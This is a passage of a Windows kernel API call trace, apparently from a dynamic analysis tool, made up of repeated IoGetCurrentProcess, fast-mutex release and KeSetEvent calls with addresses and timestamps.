(FastMutex=0xffffe00001127c40) [0276.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0276.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0276.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0277.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0277.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0277.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.629] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0278.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.824] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.824] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.824] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.863] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0278.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0278.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0278.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.004] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0280.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0280.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0280.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0280.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.848] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.848] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0281.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.973] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0281.974] IoGetCurrentProcess () returned 0xffffe00001078440 [0281.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0281.974] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0282.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0282.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0282.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0282.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0282.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0282.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0282.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0284.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0284.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0284.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0284.818] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0285.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.193] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0285.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.379] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.380] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.442] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.567] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.708] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.708] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.770] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0285.958] IoGetCurrentProcess () returned 0xffffe00001078440 [0285.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0285.958] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.083] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.084] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.084] 